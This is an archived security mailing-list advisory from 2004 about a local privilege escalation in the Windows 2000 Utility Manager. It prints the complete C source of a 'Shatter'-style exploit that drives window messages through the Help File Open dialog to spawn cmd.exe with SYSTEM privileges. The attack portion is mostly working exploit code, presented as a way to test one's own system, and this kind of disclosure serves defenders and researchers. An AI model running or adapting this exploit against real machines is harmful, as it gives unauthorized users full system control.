[EXPL] Utility Manager Local Privileges Escalation Exploit

• Previous message: SecuriTeam: "[UNIX] LCDproc Buffer Overflow and Format String Vulnerabilities (Exploit)"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 18 Apr 2004 10:47:27 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Utility Manager Local Privileges Escalation Exploit
------------------------------------------------------------------------

SUMMARY

The Utility Manager in Microsoft Windows 2000 executes winhlp32.exe with
system privileges, which allows local users to execute arbitrary code via
a "Shatter" style attack using Windows messages, as demonstrated using the
File Open dialog in the Help window. The following exploit code can be
used to test your system for the mentioned vulnerability.

DETAILS

Exploit:
// By Cesar Cerrudo cesar appsecinc com
// Local elevation of priviliges exploit for Windows Utility Manager
// Gives you a shell with system privileges
// If you have problems try changing Sleep() values.

#include <stdio.h>
#include <windows.h>
#include <commctrl.h>
#include <Winuser.h>

int main(int argc, char *argv[])
{
  HWND lHandle, lHandle2;
  POINT point;

  char sText[]="%windir%\\system32\\cmd.ex?";

  // run utility manager
  system("utilman.exe /start");
  Sleep(500);

  // execute contextual help
  SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
  Sleep(500);

  // open file open dialog windown in Windows Help
  PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
  Sleep(500);

  // find open file dialog window
  lHandle = FindWindow("#32770","Open");

  // get input box handle
  lHandle2 = GetDlgItem(lHandle, 0x47C);
  Sleep(500);

  // set text to filter listview to display only cmd.exe
  SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  Sleep(800);

  // send return
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

  //get navigation bar handle
  lHandle2 = GetDlgItem(lHandle, 0x4A0);
  //send tab
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  Sleep(500);
  lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  //get list view handle
  lHandle2 = GetDlgItem(lHandle2, 0x1);

  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  Sleep(500);
  
  // popup context menu
  PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  Sleep(1000);

  // get context menu handle
  point.x =10; point.y =30;
  lHandle2=WindowFromPoint(point);

  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

  SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window

  return(0);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:cesar@appsecinc.com> Cesar
Cerrudo.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] LCDproc Buffer Overflow and Format String Vulnerabilities (Exploit)"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]